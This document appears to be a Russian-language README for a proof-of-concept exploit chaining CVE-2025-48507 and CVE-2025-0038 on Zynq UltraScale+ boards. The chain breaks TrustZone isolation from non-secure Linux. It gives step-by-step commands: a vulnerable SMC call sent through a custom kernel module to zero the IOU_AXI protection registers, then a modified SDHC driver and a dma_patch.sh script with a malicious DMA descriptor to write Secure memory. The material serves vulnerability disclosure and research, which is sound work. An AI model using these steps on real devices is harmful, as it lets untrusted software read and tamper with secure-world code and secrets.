
Доказательство концепции CVE-2025-48507. Уязвимость может быть использована небезопасным ПО (например, Linux) для нарушения Trust Zone и получения доступа к Secure world.
Небезопасное программное обеспечение может использовать CVE-2025-48507 и CVE-2025-0038 для получения доступа на чтение/запись к Secure World на платформах Zynq UltraScale+, тем самым нарушая изоляцию TrustZone. Для этого небезопасное ПО использует CVE-2025-0038 и CVE-2025-48507, чтобы обнулить регистры IOU_AXI_WPRTCN и IOU_AXI_RPRTCN (0xFF240000) и переключить SD Host Controller в режим Secure Master. Затем небезопасное ПО (например, Linux) использует SD Host Controller (slave-интерфейс остаётся небезопасным) для записи или чтения любой Secure-памяти.
Подробнее:
Затронутые платформы:
Затронутые компоненты:
source/ : Исходники для воспроизведения PoC на Zynq UltraScale+ MPSoCs (ZC104)
Для использования CVE-2025-48507 и CVE-2025-0038
smc-tt.c: Базовый модуль ядра, позволяющий небезопасному Linux отправлять произвольные SMC-вызовы.
Makefile: Makefile для кросс-компиляции модулей ядра (пути необходимо адаптировать).
Для эксплуатации CVE-2025-0038 и CVE-2025-48507
doc/ : Презентации и исследовательская статья, детально описывающие уязвимости на уровне TF-A и PMU.
hw_debug/: Скрипты для аппаратного отладчика для отладки TF-A на APU и процессоре PMU. Они предоставляют среду для отладки затронутых функций в PMU Firmware и TF-A и подтверждают успех атаки. Эти скрипты предназначены для использования с Trace32 и аппаратным отладчиком Lauterbach PowerDebug PRO JTAG. Аппаратный отладчик был подключён к JTAG-порту (J180) платы ZCU104.
Соберите уязвимую среду (т.е. Linux, TF-A, PMU Firmware...).
При сборке Linux настройте драйвер SDHC как загружаемый модуль ядра через kconfig. Это требуется только для эксплуатации.
Скомпилируйте модули ядра smc-tt.c и sdhci.c. Предоставленный Makefile можно использовать, адаптировав пути к ядру и компилятору.
Для использования CVE добавьте smc-tt.ko в корневую файловую систему Linux.
Для эксплуатации CVE добавьте sdhci.ko и dma_patch.sh в корневую файловую систему Linux.
PoC и эксплуатация CVE:
В PoC система (т.е. fsbl, uboot...) загружалась с SD-карты. Корневая файловая система Linux была записана на USB. Для DMA-атаки Linux использовал пустой раздел SD-карты, доступ к которому осуществлялся через SD Host Controller под управлением модифицированного драйвера SDHC (sdhci.ko).
Для простого тестирования CVE шаги 2, 3 и 5 можно пропустить.
Команды U-boot для загрузки Linux в небезопасном мире с корневой ФС на USB-разделе:
setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
Вставьте модифицированный драйвер SDHC для выполнения произвольного DMA-доступа:
insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko
Попробуйте пропатчить Secure-память с помощью модифицированного драйвера SDHC. Это должно не удаться, так как SDHC всё ещё находится в небезопасном режиме:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
ARG1: PAYLOAD
ARG2: Вредоносный дескриптор для выполнения мошеннического DMA-доступа.
ARG3: Раздел устройства, управляемый SD Host Controller под управлением модифицированного драйвера SDHC.
Используйте CVE для обнуления IOU_AXI_WPRTCN и IOU_AXI_RPRTCN (0xFF240000):
insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
0xc200002E: Уязвимый SMC-вызов (PM_FPGA_READ).
0xff24000000000100: Адрес для обнуления (0xFF240000) (т.е. IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) и количество байт для обнуления (0x00000100)
Теперь Linux может использовать DMA SDHC для полного доступа к Secure-памяти.
0x100000000: Считать данные PL обратно в основную память (0x1). Так как ничего не было загружено, это просто обнулит целевую область памяти.
Дополнительная информация о параметрах PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693
Попробуйте снова пропатчить Secure-память (0xFFDC0000). Теперь это должно удаться, так как SDHC теперь Secure:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3